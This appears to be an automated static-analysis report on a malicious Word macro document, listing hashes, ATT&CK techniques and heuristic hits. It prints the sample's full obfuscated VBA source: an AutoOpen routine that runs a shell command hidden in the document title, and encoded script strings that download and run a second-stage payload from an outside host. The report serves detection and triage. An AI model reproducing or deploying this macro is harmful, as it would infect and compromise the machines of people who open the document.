Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fba4c0c014398663…

MALICIOUS

Office (OOXML)

79.5 KB Created: 2021-05-05 08:18:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 4ceb4bc4bd62b07103e0a484e145770a SHA-1: b386743febe9b2ce25c1f49656c3db34070e21a7 SHA-256: fba4c0c01439866322fec84634f35d717450510cdde81128bfa25dc43faaff8e
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, indicated by the 'OOXML_VBA' and 'OLE_VBA_AUTOOPEN' heuristics. The 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' firings confirm the use of WScript.Shell to execute commands. The 'sr' function reverses strings, and the 'linkRef' subroutine calls 'frm.button1_Click', which uses 'CreateObject("wscript.shell").exec(sr(ActiveDocument.BuiltInDocumentProperties("title")))' to execute a command derived from the document's title property. This suggests the macro is designed to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set exceptionStorageOption = ActiveDocument.BuiltInDocumentProperties("title")
    Set classVb = CreateObject("wscript.shell")
    With classVb
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set exceptionStorageOption = ActiveDocument.BuiltInDocumentProperties("title")
    Set classVb = CreateObject("wscript.shell")
    With classVb
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "borderCollection"
    Sub autoopen()
    linkRef
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6215 bytes
SHA-256: fec30d63d1626baa13936f61a0905a3749ab1e111feb1074ebb9cc00fc1304f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{579AC67E-2CE9-4BCF-A69E-9D8DA398ADD3}{E0258EF9-FFAF-4ACA-9B8A-99881DC5D82D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub button1_Click()
Set exceptionStorageOption = ActiveDocument.BuiltInDocumentProperties("title")
Set classVb = CreateObject("wscript.shell")
With classVb
.exec (sr(exceptionStorageOption))
End With
End Sub


Attribute VB_Name = "borderCollection"
Sub autoopen()
linkRef
End Sub
Function sr(convertCopy)
sr = StrReverse(convertCopy)
End Function
Sub linkRef()
Dim mainViewRemove As String
structTable = Split(sr(ActiveDocument.BuiltInDocumentProperties("title")), " ")
mainViewRemove = structTable(1)
Set databaseTempArgument = New globalPasteBorder
databaseTempArgument.exceptionDelete mainViewRemove, clearReferenceText
frm.button1_Click
End Sub

Attribute VB_Name = "referenceMemory"
Public Function valueLibCopy(structPtrBuffer)
If (Len(structPtrBuffer) < 1024) Then
countScreenTitle = Array("<html><body><div id='content1'>fTtlc29sYy5lcnVkZWNvclB0Y3VydFNyYXY7KTIgLCJncGoudHNldXFlUnRzdXJUYXRhZFxcY2lsYnVwXFxzcmVzdVxcOmMiK", "GVsaWZvdGV2YXMuZXJ1ZGVjb3JQdGN1cnRTcmF2Oyl5ZG9iZXNub3BzZXIudGN1cnRTdGN1cnRzKGV0aXJ3LmVydWRlY29yUHRjdXJ0U3JhdjsxID0gZXB5dC5lcnVkZ", "WNvclB0Y3VydFNyYXY7bmVwby5lcnVkZWNvclB0Y3VydFNyYXY7KSJtYWVydHMuYmRvZGEiKHRjZWpiT1hldml0Y0Egd2VuID0gZXJ1ZGVjb3JQdGN1cnRTcmF2IHJhd", "nspMDAyID09IHN1dGF0cy50Y3VydFN0Y3VydHMoZmk7KShkbmVzLnRjdXJ0U3RjdXJ0czspZXNsYWYgLCJsZWRuNU49ZmVyJnV6UDI2cFo1VjQ9ZGlzJnNoNU1ZWlJUe", "FdhPWhjcmFlcz82eGlwb2YvUlNlQk5aL1RLbkJzQTIxZW9EcnhBYzA3M2cvZVJIUFp3RFpMZ2x6c0R1UnNFZERHUmJheWgvWHNYOGlwekV1RzMzVmh6N3hMSzhJOU1Ub", "VhoRlRmcmRkeFRSL09tbElSWnRiOXhaTW9pbHdJMnFXTDJDNUk1UnRlc3k5cldBRDFOblg3Lzk5NzU2L2tsTDEzUU5DaElObk9UaVZWS2tyb2Nxei9zb3NnZC9tb2MuY", "XNkcmF3ZGVuYW1vdy8vOnB0dGgiICwiV")
End If
valueLibCopy = Join(countScreenTitle, "")
End Function
Public Function libIteratorText(structPtrBuffer)
If (Len(structPtrBuffer) < 1024) Then
countScreenTitle = Array("EVHIihuZXBvLnRjdXJ0U3RjdXJ0czspInB0dGhsbXguMmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHRjdXJ0U3RjdXJ0cyByYXY=</div><div id='content2'>", "fXspZWdhcm90U2NudUZyYXYoaGN0YWN9OykiYXRoLnRzZXVxZVJ0c3VyVGF0YWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlbGVkLnRoZ2lSZXZvbWVScmFlbGN7", "eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGhnaVJldm9tZVJyYWVsYyByYXY7KSJ0aW5JbmlndWxQLGdwai50c2V1", "cWVSdHN1clRhdGFkXFxjaWxidXBcXHNyZXN1XFw6YyAyM2xsZG51ciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPWGV2aXRjQSB3ZW4=</div><div id='conte", "nt3'></div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</div><div id='table2'>0123456789+/</div><div id='table3'></div><script la", "nguage='javascript'>function structPasteDatabase(requestPointer){return(new ActiveXObject(requestPointer));}function memReferenc", "e(optionPtr){return(lenDeletePro")
End If
libIteratorText = Join(countScreenTitle, "")
End Function
Public Function ExProc(structPtrBuffer)
If (Len(structPtrBuffer) < 1024) Then
countScreenTitle = Array("c.getElementById(optionPtr).innerHTML);}function textTable(){var titleRemove = memReference('table1');var indexData = titleRemov", "e.toLowerCase();var AGeneric = memReference('table2');return(titleRemove + indexData + AGeneric);}function textboxTitle(s){var e", "={}; var i; var b=0; var c; var x; var l=0; var a; var ExNext=''; var w=String.fromCharCode; var L=s.length;var listDocument = q", "ueryVarNamespace('tArahc');for(i=0;i<64;i++){e[textTable()[listDocument](i)]=i;}for(x=0;x<L;x++){c=e[s[listDocument](x)];b=(b<<6", ")+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(ExNext+=w(a));}}return(ExNext);};function queryVarNamespace(captionVbD", "ocument){return captionVbDocument.split('').reverse().join('');}responseClass = window;lenDeleteProc = document;responseClass.re", "sizeTo(1, 1);responseClass.moveT")
End If
ExProc = Join(countScreenTitle, "")
End Function
Public Function variableW(structPtrBuffer)
If (Len(structPtrBuffer) < 1024) Then
countScreenTitle = Array("o(-100, -100);var textboxConst = lenDeleteProc.getElementById('content1').innerHTML;var storageOptionValue = lenDeleteProc.getEl", "ementById('content2').innerHTML;var textboxConst = queryVarNamespace(textboxTitle(textboxConst));var storageOptionValue = queryV", "arNamespace(textboxTitle(storageOptionValue));</script><script language='javascript'>function iteratorRight(tableConstConvert){v", "ar buttonClassTemp = structPasteDatabase(queryVarNamespace('lortnoctpircs.lortnoctpircssm'));buttonClassTemp['Language'] = 'jscr", "ipt';buttonClassTemp['Timeout'] = 60000;buttonClassTemp['AddCode'](tableConstConvert);return(null);}</script><script language='v", "bscript'>Call iteratorRight(textboxConst) : Call iteratorRight(storageOptionValue)</script><script language='javascript'>respons", "eClass['close']();</script></bod")
End If
variableW = Join(countScreenTitle, "")
End Function
Public Function exceptionMem(structPtrBuffer)
If (Len(structPtrBuffer) < 1024) Then
countScreenTitle = Array("y></html>")
End If
exceptionMem = Join(countScreenTitle, "")
End Function
Function clearReferenceText()
clearReferenceText = valueLibCopy("rust") + libIteratorText("istQ") + ExProc("eque") + variableW("epoV") + exceptionMem("ainS")
End Function

Attribute VB_Name = "globalPasteBorder"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Function exceptionDelete(clearRemove As String, counterProcedure As String)
Open clearRemove For Output As #1
Print #1, counterProcedure
Close #1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: 12679e8212c221eb7bc385307e31cb6bd0a99617863d6177ab8ff5b1ba2edf14
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 7 long base64-like blob(s).